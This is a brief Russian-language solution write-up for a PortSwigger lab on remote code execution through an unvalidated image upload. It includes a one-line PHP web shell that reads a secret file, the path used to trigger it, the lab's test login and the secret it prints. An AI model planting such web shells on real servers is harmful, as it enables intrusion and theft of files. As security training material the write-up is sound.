На странице
apsyleg1 мин
#portswigger #file-upload #rce #web-security

Remote Code Execution через загрузку web shell

Лаборатория

Remote code execution via web shell upload · Apprentice

Решение

Дано

This lab contains a vulnerable image upload function. It doesn't perform any
validation on the files users upload before storing them on the server's filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the
contents of the file /home/carlos/secret. Submit this secret using the button
provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Анализ и разведка

Тут всё просто, заливаем шелл, вызываем его в браузере.

<?php echo file_get_contents('/home/carlos/secret'); ?>

Логинимся, заливаем шелл.

Открываем в браузере /files/avatars/shell.php.

1bfoduHLVPomAxIanAVE6dzD1ulBhDVk

Лаба решена!